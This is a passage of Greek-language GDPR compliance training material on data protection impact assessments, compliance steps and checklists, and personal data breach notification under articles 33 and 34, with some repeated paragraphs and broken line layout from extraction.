συνεχώς τους κινδύνους που απορρέουν από τις δραστηριότητες επεξεργασίας τους, για να εξακριβώνουν πότε ένα είδος επεξεργασίας «ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων». Πότε διενεργείται η Εκτίμηση Αντικτύπου κινδύνου Η ΕΑΠΔ θα πρέπει να διενεργείται «πριν από την επεξεργασία» (άρθρο 35 παράγραφος 1 και άρθρο 35 παράγραφος 10, αιτιολογικές σκέψεις 90 και 93). Τούτο συνάδει με τις αρχές της εξ ορισμού και της εκ σχεδιασμού προστασίας των δεδομένων (άρθρο 25 και αιτιολογική σκέψη 78). Η ΕΑΠΔ θα πρέπει να αντιμετωπίζεται ως εργαλείο που βοηθά στη λήψη αποφάσεων σε σχέση με την επεξεργασία. Η ΕΑΠΔ ενδέχεται να χρειαστεί επικαιροποίηση μετά την έναρξη της επεξεργασίας και αποτελεί διαρκή διαδικασία και όχι πράξη που διενεργείται άπαξ Ποιος οφείλει να κάνει την Εκτίμηση Κινδύνου Ο υπεύθυνος επεξεργασίας είναι αρμόδιος. Μπορεί να πραγματοποιηθεί από άλλο πρόσωπο, εντός ή εκτός του οργανισμού, ωστόσο ο υπεύθυνος επεξεργασίας παραμένει ο τελικός υπεύθυνος. Ο υπεύθυνος επεξεργασίας πρέπει επίσης να ζητεί τη γνώμη του υπευθύνου προστασίας δεδομένων (ΥΠΔ) εφόσον έχει οριστεί ΥΠΔ), και η γνώμη του και οι αποφάσεις του υπεύθυνου επεξεργασίας πρέπει να τεκμηριώνονται στην ΕΑΠΔ. Ο ΥΠΔ θα πρέπει επίσης να παρακολουθεί την υλοποίηση της ΕΑΠΔ. Ο εκτελών την επεξεργασία θα πρέπει να συνδράμει τον υπεύθυνο επεξεργασίας στη διενέργεια της ΕΑΠΔ και να παράσχει κάθε αναγκαία πληροφορία. Ποιος οφείλει να κάνει την Εκτίμηση Κινδύνου

Ο υπεύθυνος επεξεργασίας είναι αρμόδιος. Μπορεί να πραγματοποιηθεί από άλλο πρόσωπο, εντός ή εκτός του οργανισμού, ωστόσο ο υπεύθυνος επεξεργασίας παραμένει ο τελικός υπεύθυνος. Ο υπεύθυνος επεξεργασίας πρέπει επίσης να ζητεί τη γνώμη του υπευθύνου προστασίας δεδομένων (ΥΠΔ) εφόσον έχει οριστεί ΥΠΔ), και η γνώμη του και οι αποφάσεις του υπεύθυνου επεξεργασίας πρέπει να τεκμηριώνονται στην ΕΑΠΔ. Ο ΥΠΔ θα πρέπει επίσης να παρακολουθεί την υλοποίηση της ΕΑΠΔ Ο εκτελών την επεξεργασία θα πρέπει να συνδράμει τον υπεύθυνο επεξεργασίας στη διενέργεια της ΕΑΠΔ και να παράσχει κάθε αναγκαία πληροφορία Προστασία δεδομένων εξ ορισμού («Data protection by default»): Ο Κανονισμός επιβάλλει την εφαρμογή κατάλληλων τεχνικών και οργανωτικών μέτρων που να διασφαλίζουν ότι, εξ ορισμού, υφίστανται επεξεργασία μόνο τα δεδομένα που είναι απαραίτητα για τον σκοπό της επεξεργασίας. Τα βήματα συμμόρφωσης Οργανισμών - επιχειρήσεων στον Κανονισμό προστασίας προσωπικών δεδομένων Τα βήματα συμμόρφωσης Οργανισμών και Επιχειρήσεων στον Νέο Κανονισμό είναι:

1.

1.

Ενημέρωση προσωπικού

2.

Χαρτογράφηση Δεδομένων & Ροών Δεδομένων

3.

Έλεγχος – Επιθεώρηση Πληροφοριακών και Νομικών Συστημάτων

4

Εκτίμηση Αντικτύπου Προσωπικών Δεδομένων

5

Σχεδιασμός και Υλοποίηση Τεχνικών και Οργανωτικών

6

Εκπαίδευση

7

Επιθεώρηση Προγράμματος Συμμόρφωσης

8.

Ορισμός DPO

Ενημέρωση – Ετοιμότητα Ενημερώστε το ανθρώπινο δυναμικό του οργανισμού σας για τις επερχόμενες

μεταβολές, υπογραμμίζοντας τις σημαντικές επιπτώσεις σε περίπτωση παραβιάσεων. Κάντε μία πρώτη αποτίμηση σημαντικών «ελλείψεων». Αξιολογήστε τους πιθανούς κινδύνους για τα ΠΔ που συλλέγετε και επεξεργάζεστε. Διαμορφώστε στρατηγική αντιμετώπισης των πιθανών κινδύνων με τεχνικά και οργανωτικά μέτρα. 2. ΚΑΤΑΓΡΑΦΗ Αναγνωρίστε της δραστηριότητες

Αρχείο εγγράφων, αρχείο προσωπικού, αρχείο πελατών , αρχεία από

ηλεκτρονικές

εφαρμογές, αρχεία επαφών για επικοινωνιακούς σκοπούς, αρχεία για σκοπούς ασφάλειας (π.χ. υλικό καμερών, καταγραφής προσβάσεων σε διαδικτυακές υπηρεσίες) κτλ. Διαχωρισμός ανά σκοπό επεξεργασίας Οφείλετε να τηρείτε ειδικά αρχεία επεξεργασιών; Αν ναι, καταγράψτε ενδελεχώς τα δεδομένα που τηρείτε και μεταβιβάζετε, τις επεξεργασίες στις οποίες προβαίνετε, τον σκοπό τους και τη νομική βάση. 3. Έλεγχος τήρησης της Συμμόρφωσης Για κάθε έναν από τους σκοπούς επεξεργασίας: Είναι ο σκοπός σαφής; Γίνεται επεξεργασία μόνο στο πλαίσιο αυτού του σκοπού; Πώς έχουν ληφθεί τα δεδομένα; Είναι τα απολύτως απαραίτητα δεδομένα για τον εν λόγω σκοπό; Πόσος χρόνος απαιτείται για την επεξεργασία των δεδομένων;

J

Πόσο ασφαλής είναι η τήρηση και περαιτέρω επεξεργασία των δεδομένων; Εξετάζετε συνεχώς αν κατά την επεξεργασία των δεδομένων τηρούνται οι αρχές που διέπουν τη νόμιμη επεξεργασία των δεδομένων και αν γίνονται σεβαστά τα δικαιώματα των υποκειμένων 4. Έλεγχος της συγκατάθεσης Εξετάστε τις μεθόδους για εξασφάλιση συγκατάθεσης για κάθε επιδιωκόμενο σκοπό επεξεργασίας. Ο ΥΕ πρέπει να μπορεί να αποδείξει ότι έχει λάβει τη συγκατάθεση των προσώπων 5. Αναθεώρηση Πολιτικών Προστασίας Δεδομένων και Διαδικασιών Η υποχρέωση ενημέρωσης «διευρύνεται» Αλλαγή πολιτικής προστασίας δεδομένων και ενημερωτικών εντύπων Επικαιροποιήστε τις διαδικασίες για τον χειρισμό των αιτημάτων και την ικανοποίηση των δικαιωμάτων των πολιτών, ιδίως ως προς τη διαγραφή δεδομένων (δικαίωμα στη λήθη) ή την παροχή τους σε αναγνώσιμο ηλεκτρονικό μορφότυπο (φορητότητα δεδομένων). 6. Εκτίμηση Επιπτώσεων Υπάρχει υποχρέωση εκπόνησης εκτίμησης αντικτύπου ως προς την προστασία δεδομένων (DPIA); Θα πρέπει να είστε σε θέση να εκτιμήσετε τις πιθανότητες επέλευσης κινδύνων και τις συνέπειες στα προσωπικά δεδομένα.

Σε κάθε περίπτωση, αν μετά την εφαρμογή των μέτρων παραμένει υψηλός κίνδυνος για την προστασία δεδομένων, προβλέπεται διαβούλευση με την Αρχή. 7. Υπεύθυνος Προστασίας Ανάλογα με τη δραστηριότητα που ασκείτε, εξετάστε αν χρειάζεται να ορίσετε «υπεύθυνο προστασίας δεδομένων». Υιοθετήστε κατάλληλα τεχνικά και οργανωτικά μέτρα για την ασφαλή επεξεργασία των προσωπικών δεδομένων. 8.Παραβίαση Δεδομένων Υιοθετήστε κατάλληλα τεχνικά και οργανωτικά μέτρα για την ασφαλή επεξεργασία των προσωπικών δεδομένων. Υιοθετήστε μεθόδους για την ανίχνευση, την καταγραφή και τη διερεύνηση περιστατικών παραβιάσεων. Γνωστοποίηση του περιστατικού στην ΑΠΔΠΧ Ενημέρωση των προσώπων που αφορά το περιστατικό, όταν αυτό ενδέχεται να θέσει σε υψηλό κίνδυνο τα δικαιώματα και τις ελευθερίες τους Χωρίς καθυστέρηση ενημέρωση του υπεύθυνου επεξεργασίας για το περιστατικό Συνδρομή στον υπεύθυνο επεξεργασίας 9. Δραστηριότητα σε περισσότερα Κράτη Μέλη Στην περίπτωση αυτή πρέπει να προτείνετε το κράτος της κύριας εγκατάστασής σας. Η Αρχή αυτού του Κράτους-Μέλους είναι η επικεφαλής εποπτική Αρχή, με την οποία «συνομιλεί» ο φορέας. Αν διαβιβάζετε δεδομένα και σε τρίτες χώρες, επιλέξτε κάποιο μηχανισμό διαβίβασης, όπως δεσμευτικούς εταιρικούς κανόνες , τυποποιημένες συμβατικές ρήτρες , πιστοποιήσεις στο Privacy Shield (για τις ΗΠΑ). 10. Διαβίβαση Δεδομένων εκτός ΕΕ Αν διαβιβάζετε δεδομένα και σε τρίτες χώρες, επιλέξτε κάποιο μηχανισμό διαβίβασης, όπως δεσμευτικούς εταιρικούς κανόνες (BCRs), τυποποιημένες συμβατικές ρήτρες (SCCs), πιστοποιήσεις στο Privacy Shield (για τις ΗΠΑ). Λίστα Ελέγχου συμμόρφωσης με Κανονισμός Δεδομένων 1.

Αντίληψη του οργανισμού ότι η προστασία των προσωπικών δεδομένων είναι ευθύνη

της Διοίκησης π.χ. Με την ύπαρξη πολιτικών/κανόνων για την επεξεργασία προσωπικών δεδομένων Με την αντίληψη των κινδύνων που ενέχει η επεξεργασία 2.

Ορισμός ΥΠΔ OXI Γιατί δεν έχει οριστεί;

Αν έχει οριστεί, είναι ξεκάθαρος ο ρόλος του; Έχουν δηλωθεί τα στοιχεία επικοινωνίας του στην Αρχή προστασίας Δεδομένων; 3.

Έλεγχος των προσωπικών δεδομένων που τυγχάνουν επεξεργασίας: είναι σύμφωνα με το σκοπό για τον οποίο έχουν αρχικά συλλεχθεί; είναι μόνο τα απαραίτητα; είναι ορθά και ενημερωμένα; διατηρούνται μόνο για όσο χρονικό διάστημα είναι απολύτως απαραίτητα; λαμβάνονται τα κατάλληλα οργανωτικά και τεχνικά μέτρα

ασφάλειας και προστασίας τους; αυτά τα μέτρα αναθεωρούνται τακτικά για να λαμβάνουν υπόψη τις νέες τεχνολογικές εξελίξεις; σε κάποια τουλάχιστον μέρη της επεξεργασίας, αντί να χρησιμοποιηθούν πραγματικά δεδομένα, θα μπορούσε να χρησιμοποιηθεί κρυπτογράφηση ή ψευδωνυμοποίηση; 4.

Κατάρτιση διαδικασιών για τήρηση Αρχείου Δραστηριοτήτων της επεξεργασίας.

5.

Κατάρτιση εργαλείων και διαδικασιών που διασφαλίζουν ότι στη φάση σχεδιασμού

του έργου/παροχής της υπηρεσίας: ■

συλλέγονται μόνο τα δεδομένα που είναι απαραίτητα για το συγκεκριμένο

σκοπό που επιδιώκεται ■

αποφασίζεται το χρονικό διάστημα διατήρησης και τα οργανωτικά και τεχνικά

μέτρα ασφάλειας ■

η προστασία των προσωπικών δεδομένων αποτελεί αναπόσπαστο μέρος της

διαδικασίας ανάπτυξης του έργου/παροχής της υπηρεσίας. 6.

Εκπαίδευση και ευαισθητοποίηση του προσωπικού:

όσοι επεξεργάζονται προσωπικά δεδομένα μέσα στον οργανισμό γνωρίζουν πότε υπάρχει παραβίαση προσωπικών δεδομένων; 7.

Υιοθέτηση:

εσωτερικής διαδικασίας αναφοράς της παραβίασης εσωτερικού «πλάνου ανταπόκρισης» (response plan) σε περίπτωση παραβίασης διαδικασία γνωστοποίησης ενδεχόμενης παράβασης στην Αρχή προστασίας Δεδομένων, εντός 72 ωρών 8.

Σύναψη συμφωνίας μεταξύ 2 υπεύθυνων επεξεργασίας, σε περίπτωση που δύο ή

περισσότεροι υπεύθυνοι επεξεργασίας καθορίζουν από κοινού τους σκοπούς και τα μέσα της επεξεργασίας.

9.

Αναθεώρηση

των

συμβολαίων/συμβάσεων

που

συνάπτονται

με

πελάτες,

προμηθευτές, υπαλλήλους, εκτελούντες την επεξεργασία (βλ. άρθρο 28 του Κανονισμού για το τι πρέπει να περιλαμβάνει μία σύμβαση ανάθεσης εργασίας σε εκτελούντα) Τι γίνονται τα δεδομένα μετά τη λήξη της σύμβασης με τον εκτελούντα; 10.

Διενέργεια εκτίμησης αντικτύπου εάν η επεξεργασία ενέχει υψηλό κίνδυνο / ρίσκο στα

δικαιώματα, ελευθερίες και συμφέροντα των ατόμων: έχει υιοθετηθεί μέθοδος που να αναγνωρίζει εάν υπάρχει υψηλός κίνδυνος; έχει επιλεγεί διαδικασία για διενέργεια ΕΑ; έχει υιοθετηθεί πολιτική με προκαθορισμένη διαδικασία για αντιμετώπιση του υψηλού κινδύνου; Διασυνοριακή επεξεργασία, εντός της ΕΕ Σε περίπτωση διασυνοριακής επεξεργασίας, εντός της ΕΕ, ορισμός του κμ της κύριας εγκατάστασης, του οποίου η εποπτεύουσα αρχή θα είναι αρμόδια ως επικεφαλής αρχή, για την εποπτεία της νομιμότητας της επεξεργασίας εντός της Ε.Ε Αξιολόγηση των συγκαταθέσεων των υποκειμένων Αξιολόγηση των συγκαταθέσεων των υποκειμένων, εάν ανταποκρίνονται στις διατάξεις του άρθρου 5 του Κανονισμού Μπορεί πράγματι να αποδειχθεί ότι έχει δοθεί συγκατάθεση; Υιοθέτηση των απαιτήσεων διαφόρων άρθρων Υιοθέτηση των απαιτήσεων του άρθρου 32 (ασφάλεια): Έχουν αντικατασταθεί οι υφιστάμενες λίστες ελέγχου που αφορούν στους κινδύνους της επεξεργασίας λαμβάνοντας υπόψη τη φύση, πεδίο εφαρμογής, περιεχόμενο και σκοπό της επεξεργασίας; Έχει υιοθετηθεί σύστημα διοίκησης για τακτική αναθεώρηση, αξιολόγηση και βελτίωση των μέτρων ασφάλειας; Έχουν ληφθεί μέτρα π.χ. ψευδωνυμοποίηση και κρυπτογράφηση για προστασία από παράνομη επεξεργασία από εσωτερικούς και εξωτερικούς εισβολείς; 2.

Αναθεώρηση των εντύπων που δίνονται στα υποκείμενα με τα οποία ενημερώνονται

για τις πληροφορίες που προβλέπονται στα άρθρα 13 και 14. Για παράδειγμα: στοιχεία επικοινωνίας του ΥΠΔ νομική βάση για την επεξεργασία νομική βάση για διαβίβαση σε τρίτη χώρα (εάν ισχύει) χρονικό διάστημα διατήρησης των δεδομένων

τα δικαιώματα που μπορούν να ασκήσουν 3.

Αναθεώρηση των εντύπων που δίνονται στα υποκείμενα με τα οποία ενημερώνονται

για τις πληροφορίες που προβλέπονται στα άρθρα 13 και 14. Για παράδειγμα: δικαίωμα υποβολής παραπόνου στην Αρχή προστασίας σε περίπτωση που η συγκατάθεση είναι η νομική βάση της επεξεργασίας, να γνωρίζουν ότι μπορούν να την ανακαλέσουν ανά πάσα στιγμή Σε περίπτωση αυτοματοποιημένης λήψης απόφασης (π.χ. κατάρτιση προφίλ), τη λογική, σημασία και επιπτώσεις τέτοιας επεξεργασίας στο υποκείμενο Σε περίπτωση συλλογής των δεδομένων, όχι από το ίδιο το υποκείμενο, την πηγή/προέλευση τους 4,

Εφαρμογή διαδικασιών για ικανοποίηση των δικαιωμάτων των υποκειμένων π.χ

φορητότητα των δεδομένων 5,

Πριν το κλείσιμο λογαριασμού ενός ατόμου, να δίνεται το δικαίωμα στο άτομο να

ασκήσει το δικαίωμα στη φορητότητα των δεδομένων του Παραβίαση (ασφάλειας) Δεδομένων (Data Breach) Σχετικές Υποχρεώσεις – Μελέτες Περίπτωσης Μη εξουσιοδοτημένη ή παράνομη επεξεργασία Μη εξουσιοδοτημένη ή παράνομη επεξεργασία μπορεί να περιλαμβάνει την αποκάλυψη δεδομένων προσωπικού χαρακτήρα προς (ή πρόσβαση από) παραλήπτες που δεν έχουν εξουσιοδοτηθεί να λαμβάνουν (ή να αποκτούν πρόσβαση) τα δεδομένα ή οποιαδήποτε άλλη μορφή επεξεργασίας που παραβιάζει τον Κανονισμό Τι είναι η παραβίαση δεδομένων; Σύμφωνα με την Ευρωπαϊκή Επιτροπή, παραβίαση δεδομένων επέρχεται όταν σημειώνεται συμβάν ασφαλείας σε σχέση με τα δεδομένα για τα οποία ευθύνεται μία εταιρεία ή ένας οργανισμός, το οποίο έχει ως αποτέλεσμα την παραβίαση του απορρήτου, της διαθεσιμότητας ή της ακεραιότητας. Γενικές απαιτήσεις 1.

Διαθεσιμότητα (availability): τα δεδομένα είναι προσβάσιμα και οι υπηρεσίες

λειτουργούν. Ακεραιότητα (integrity): Επιβεβαίωση ότι τα δεδομένα που έχουν αποσταλεί, παραληφθεί η αποθηκευθεί είναι πλήρη και δεν έχουν υποστεί αλλοίωση. Εμπιστευτικότητα (confidentiality): Προστασία των δεδομένων που τηρούνται από μη εξουσιοδοτημένη πρόσβαση, είτε κατά τη διακίνησή τους στο δίκτυο, είτε κατά την αποθήκευση και επεξεργασία τους.

2.

Κατηγορίες παραβιάσεων Παραβίαση εμπιστευτικότητας: μη εξουσιοδοτημένη ή τυχαία αποκάλυψη ή

πρόσβαση σε προσωπικά δεδομένα Παραβίαση ακεραιότητας: μη εξουσιοδοτημένη ή τυχαία αλλοίωση των προσωπικών δεδομένων. Παραβίαση διαθεσιμότητας: τυχαία ή μη εξουσιοδοτημένη απώλεια πρόσβασης ή καταστροφή προσωπικών δεδομένων 3.

Γνωστοποίηση παραβίασης ασφάλειας (άρθρο 33-34 ΓΚΠΔ) Εισαγωγή της υποχρέωσης κοινοποίησης παραβιάσεων (ασφαλείας) προσωπικών

δεδομένων, ως υποχρέωση του ΥΕ. Γενίκευση της υποχρέωσης γνωστοποίησης παραβίασης ασφάλειας. Δημοσιότητα ως προληπτικός μηχανισμός συμμόρφωσης. 4.

Αμελλητί και, αν είναι δυνατό, εντός 72 ωρών από τη στιγμή που αποκτά γνώση. ▪

Φύση

παραβίασης / κατηγορίες – κατά προσέγγιση αριθμό θιγομένων / κατηγορίες -

κατά προσέγγιση αριθμό αρχείων / στοιχεία επικοινωνίας / ενδεχόμενες συνέπειες παραβίασης / ληφθέντα - προτεινόμενα μέτρα για αντιμετώπιση – άμβλυνση επιπτώσεων 5.

Δεν απαιτείται γνωστοποίηση Εάν η παραβίαση δεδομένων προσωπικού χαρακτήρα δεν ενδέχεται να προκαλέσει

κίνδυνο για τα δικαιώματα και τις ελευθερίες, δεν απαιτείται γνωστοποίηση Υποχρέωση τεκμηρίωσης παραβίασης μέσω της τήρησης ενός –εσωτερικού - αρχείου, ώστε να είναι δυνατός ο έλεγχος της συμμόρφωσης. Εφόσον η γνωστοποίηση λάβει χώρα ύστερα από την πάροδο 72 ωρών, απαιτείται αιτιολόγηση. Περιεχόμενο Γνωστοποίησης 1.

Περιγράφει τη φύση της παραβίασης δεδομένων προσωπικού χαρακτήρα,

συμπεριλαμβανομένων, όπου είναι δυνατό, των κατηγοριών και του κατά προσέγγιση αριθμού των επηρεαζόμενων υποκειμένων των δεδομένων, καθώς και των κατηγοριών και του κατά προσέγγιση αριθμού των επηρεαζόμενων αρχείων δεδομένων προσωπικού χαρακτήρα 2.

Ανακοινώνει το όνομα και τα στοιχεία επικοινωνίας του υπευθύνου προστασίας

δεδομένων ή άλλου σημείου επικοινωνίας από το οποίο μπορούν να ληφθούν περισσότερες πληροφορίες Περιγράφει τις ενδεχόμενες συνέπειες της παραβίασης των δεδομένων προσωπικού χαρακτήρα.

Περιγράφει τα ληφθέντα ή τα προτεινόμενα προς λήψη μέτρα από τον υπεύθυνο επεξεργασίας για την αντιμετώπιση της παραβίασης των δεδομένων προσωπικού χαρακτήρα, καθώς και, όπου ενδείκνυται, μέτρα για την άμβλυνση ενδεχόμενων δυσμενών συνεπειών της 3.

Όπου δεν είναι διαθέσιμες ακριβείς πληροφορίες (π.χ. ακριβής αριθμός προσώπων

που επηρεάζονται από το θέμα), αυτό θα πρέπει να αποτελεί εμπόδιο για την έγκαιρη κοινοποίηση της παραβίασης. Ο Κανονισμός επιτρέπει να γίνουν προσεγγίσεις σχετικά με τον αριθμό των ατόμων που θίγονται και τον αριθμό των αρχείων δεδομένων προσωπικού χαρακτήρα, καθώς το κύριο μέλημα πρέπει να είναι η αντιμετώπιση των αρνητικών επιπτώσεων της παραβίασης παρά η ακριβείς καταγραφή. Όταν υπάρξει παραβίαση, αλλά η έκταση αυτής δεν είναι ακόμη γνωστή, η κοινοποίηση σε φάσεις αποτελεί έναν ασφαλή τρόπο για την εκπλήρωση των υποχρεώσεων κοινοποίησης. 4.

Σε περίπτωση που και εφόσον δεν είναι δυνατόν να παρασχεθούν οι πληροφορίες

ταυτόχρονα , μπορούν να παρέχονται σταδιακά χωρίς αδικαιολόγητη καθυστέρηση . Ο Κανονισμός αναγνωρίζει ότι οι ΥΕ δεν θα έχουν πάντοτε όλα τις απαραίτητες πληροφορίες σχετικά με την παραβίαση εντός 72 ωρών. Αυτό είναι πιθανότερο να συμβαίνει για πιο πολύπλοκες παραβιάσεις, οπότε ο ΥΕ θα πρέπει να κάνει περισσότερες έρευνες και να γνωστοποιεί τις πρόσθετες πληροφορίες σε μεταγενέστερο στάδιο. Ο ΥΕ θα πρέπει να ενημερώνει ην εποπτική αρχή, ότι θα παράσχει μελλοντικά περισσότερες λεπτομέρειες. Ο ΥΕ θα πρέπει να αιτιολογεί την καθυστέρηση, σύμφωνα με το άρθρο 33 παράγραφος 1. 5.

Θα πρέπει επίσης να είναι σαφές ότι μετά από την πρώτη ειδοποίηση, ο ΥΕ θα

μπορούσε να ενημερώσει την εποπτική αρχή εάν η έρευνα του αποκαλύψει ότι τελικά δεν σημειώθηκε καμία παραβίαση. Αυτές οι πληροφορίες μπορούν να προστεθούν στις πληροφορίες που έχουν ήδη δοθεί στην εποπτική αρχή και το περιστατικό να καταγραφεί ως μη παραβίαση. Δεν υπάρχει ποινή για την αναφορά περιστατικού που τελικά δεν αποτελεί παραβίαση.

Παράδειγμα

Ένας ΥΕ ειδοποιεί την εποπτική αρχή εντός 72 ωρών για παραβίαση, καθώς έχει χάσει το USB που περιέχει αντίγραφο των προσωπικών δεδομένων ορισμένων πελατών του. Το USB εντοπίζεται αργότερα εντός των εγκαταστάσεων του ΥΕ. Ο ΥΕ ενημερώνει την εποπτική αρχή καιζητεί την τροποποίηση της κοινοποίησης Εκπρόθεσμες γνωστοποιήσεις Το άρθρο 33 παράγραφος 1 καθιστά σαφές ότι όταν η κοινοποίηση προς την εποπτική αρχή δεν πραγματοποιείται εντός 72 ωρών, συνοδεύεται από λόγους καθυστέρησης. Παράδειγμα, ένας ΥΕ αντιμετωπίζει πολλαπλές παρόμοιες παραβιάσεις σε σύντομο χρονικό διάστημα, επηρεάζοντας μεγάλο αριθμό υποκειμένων των δεδομένων με τον ίδιο τρόπο. Τεκμηρίωση (άρθρο 33 παρ. 5) Ο υπεύθυνος επεξεργασίας τεκμηριώνει κάθε παραβίαση δεδομένων προσωπικού χαρακτήρα, που συνίστανται στα πραγματικά περιστατικά που αφορούν την παραβίαση δεδομένων προσωπικού χαρακτήρα, τις συνέπειες και τα ληφθέντα διορθωτικά μέτρα. Η εν λόγω τεκμηρίωση επιτρέπει στην εποπτική αρχή να επαληθεύει τη συμμόρφωση. Γνωστοποίηση παραβίασης ασφάλειας Η γνωστοποίηση ενισχύει την θέση των προσώπων καθώς θα πρέπει να συνοδεύεται από συστάσεις προς τα πρόσωπα που θίγονται για τα μέτρα που αυτά θα πρέπει να λάβουν για τον μετριασμό των δυσμενών συνεπειών (αιτ. σκ. 86) Θεωρείται ότι ο φόβος από τις συνέπειες μιας τέτοιας «αποκάλυψης» ως προς τη φήμη του οργανισμού θα ωθήσει τους ΥΕ σε μια συνεπέστερη αξιολόγηση κινδύνων – θα ενισχύσει το επίπεδο ασφαλείας αλλά και τη γενικότερη συμμόρφωση προς τη νομοθεσία. Σύμφωνα με τις ανανεωμένες κατευθυντήριες γραμμές της ΟΕ του αρ. 29 «ο εκτελών την επεξεργασία πρέπει απλώς να διαπιστώσει εάν έχει σημειωθεί παραβίαση και στη συνέχεια να ειδοποιήσει τον υπεύθυνο επεξεργασίας. Ο υπεύθυνος επεξεργασίας χρησιμοποιεί τον εκτελούντα την επεξεργασία για να επιτύχει τους σκοπούς του: συνεπώς, κατ 'αρχήν, ο υπεύθυνος επεξεργασίας πρέπει να θεωρείται "ενήμερος" τη στιγμή που ο εκτελών τον ενημερώσει σχετικά με την παραβίαση». Η νέα αυτή διατύπωση της ΟΕ του αρ. 29 έχει σημαντικές επιπτώσεις σε σχέση με το χρονικό σημείο από όπου αρχίζουν να υπολογίζεται η προθεσμία των 72 ωρών για τη γνωστοποίηση στην εποπτική αρχή. Ανακοίνωση παραβίασης δεδομένων προσωπικού χαρακτήρα στο υποκείμενο των δεδομένωνΆρθρο 34 ΓΚΠΔ Ανακοίνωση παραβίασης στα υποκείμενα (άρθρο 34)

Αμελλητί ανακοίνωση παραβίασης όταν ενδέχεται να θέσει σε υψηλό κίνδυνο τα δικαιώματα και τις ελευθερίες (περιγραφή φύσης παραβίασης, συνέπειες, μέτρα κλπ) προκειμένου να του επιτραπεί να λάβει τις αναγκαίες προφυλάξεις. Περιέχει συστάσεις προς το ενδιαφερόμενο φυσικό πρόσωπο για τον μετριασμό δυνητικών δυσμενών συνεπειών. Οι ανακοινώσεις αυτές στα υποκείμενα των δεδομένων θα πρέπει να πραγματοποιούνται το συντομότερο δυνατόν, σε στενή συνεργασία με την ελεγκτική αρχή, τηρώντας την καθοδήγηση που παρέχεται από αυτήν ή άλλες σχετικές αρχές, όπως αρχές επιβολής του νόμου. Η ανακοίνωση στο υποκείμενο των δεδομένων δεν απαιτείται, εάν πληρείται οποιαδήποτε από τις ακόλουθες προϋποθέσεις: 1.

(α) ο υπεύθυνος επεξεργασίας εφάρμοσε κατάλληλα τεχνικά και οργανωτικά μέτρα

προστασίας, και τα μέτρα αυτά εφαρμόστηκαν στα επηρεαζόμενα από την παραβίαση δεδομένα προσωπικού χαρακτήρα, κυρίως μέτρα που καθιστούν μη κατανοητά τα δεδομένα προσωπικού χαρακτήρα σε όσους δεν διαθέτουν άδεια πρόσβασης σε αυτά, όπως η κρυπτογράφηση. 2.

(β) ο υπεύθυνος επεξεργασίας έλαβε στη συνέχεια μέτρα που διασφαλίζουν ότι δεν

είναι πλέον πιθανό να προκύψει ο υψηλός κίνδυνος για τα δικαιώματα και τις ελευθερίες των υποκειμένων των δεδομένων. 3.

(γ) προϋποθέτει δυσανάλογες προσπάθειες. Στην περίπτωση αυτή, γίνεται αντ’ αυτής

δημόσια ανακοίνωση ή υπάρχει παρόμοιο μέτρο με το οποίο τα υποκείμενα των δεδομένων ενημερώνονται με εξίσου αποτελεσματικό τρόπο. 4.

Όταν γνωστοποιούν την παραβίαση στην εποπτική αρχή, οι υπεύθυνοι επεξεργασίας

μπορούν να λαμβάνουν συμβουλές και καθοδήγηση σχετικά με το εάν τα πρόσωπα, τα δεδομένα των οποίων έχουν παραβιαστεί, θα πρέπει να ενημερωθούν. 5.

Εάν ο υπεύθυνος επεξεργασίας δεν έχει ήδη ανακοινώσει την παραβίαση των

δεδομένων προσωπικού χαρακτήρα στο υποκείμενο των δεδομένων, η εποπτική αρχή μπορεί: έχοντας εξετάσει την πιθανότητα επέλευσης υψηλού κινδύνου από την παραβίαση των δεδομένων προσωπικού χαρακτήρα, να του ζητήσει να το πράξει. ή μπορεί να αποφασίσει ότι πληρούται οποιαδήποτε από τις προϋποθέσεις που αναφέρθηκαν νωρίτερα Παραβίαση διαθεσιμότητας Παραδείγματα απώλειας διαθεσιμότητας: ▪ όταν τα δεδομένα έχουν διαγραφεί είτε κατά λάθος

είτε

από

ένα

μη

εξουσιοδοτημένο

πρόσωπο

στο παράδειγμα κρυπτογραφημένων δεδομένων, το κλειδί αποκρυπτογράφησης να έχει χαθεί. ▪ Ο ΥΕ δεν μπορεί να επαναφέρει την πρόσβαση στα δεδομένα, για παράδειγμα, από ένα αντίγραφο ασφαλείας, τότε αυτό θεωρείται ως μόνιμη απώλεια διαθεσιμότητας. ▪ Μια απώλεια διαθεσιμότητας μπορεί επίσης να συμβεί όταν υπάρχει διακοπή της παροχής υπηρεσιών για μεγάλο χρονικό διάστημα όπως για παράδειγμα, διακοπή ρεύματος ή επίθεση άρνησης παροχής υπηρεσιών. Συνέπειες παραβίασης Διαθεσιμότητας 1

Η παραβίαση δεδομένων προσωπικού χαρακτήρα μπορεί, εάν δεν αντιμετωπιστεί

κατάλληλα και έγκαιρα, να έχει ως αποτέλεσμα: ▪ σωματική, υλική ή μη υλική βλάβη για φυσικά πρόσωπα, ▪ όπως απώλεια του ελέγχου επί των δεδομένων τους προσωπικού χαρακτήρα ▪ ή ο περιορισμός των δικαιωμάτων τους, διακρίσεις, κατάχρηση ή υποκλοπή ταυτότητας, ▪ οικονομική απώλεια, ▪ παράνομη άρση της ψευδωνυμοποίησης, ▪ βλάβη της φήμης, ▪ απώλεια της εμπιστευτικότητας των δεδομένων προσωπικού χαρακτήρα που προστατεύονται από επαγγελματικό απόρρητο ▪ ή άλλο σημαντικό οικονομικό ή κοινωνικό μειονέκτημα για το ενδιαφερόμενο φυσικό πρόσωπο. 2.

Μια προσωρινή απώλεια διαθεσιμότητας δεδομένων θεωρείται παραβίαση και, εάν

ναι, πρέπει να κοινοποιηθεί; Στο άρθρο 32 του ΓΚΠΔ GDPR, εξηγεί ότι κατά την εφαρμογή τεχνικών και οργανωτικών μέτρων για να εξασφαλιστεί ένα επίπεδο της ασφάλειας, πρέπει να εξεταστεί, μεταξύ άλλων, η « δυνατότητα διασφάλισης του απορρήτου , της ακεραιότητας , της διαθεσιμότητας και της αξιοπιστίας των συστημάτων και των υπηρεσιών επεξεργασίας σε συνεχή βάση » και « η δυνατότητα αποκατάστασης της διαθεσιμότητας και της πρόσβασης σε δεδομένα προσωπικού χαρακτήρα σε εύθετο χρόνο σε περίπτωση φυσικού ή τεχνικού συμβάντος ». 3.

Επομένως, ένα περιστατικό ασφαλείας το οποίο έχει ως αποτέλεσμα να μην είναι

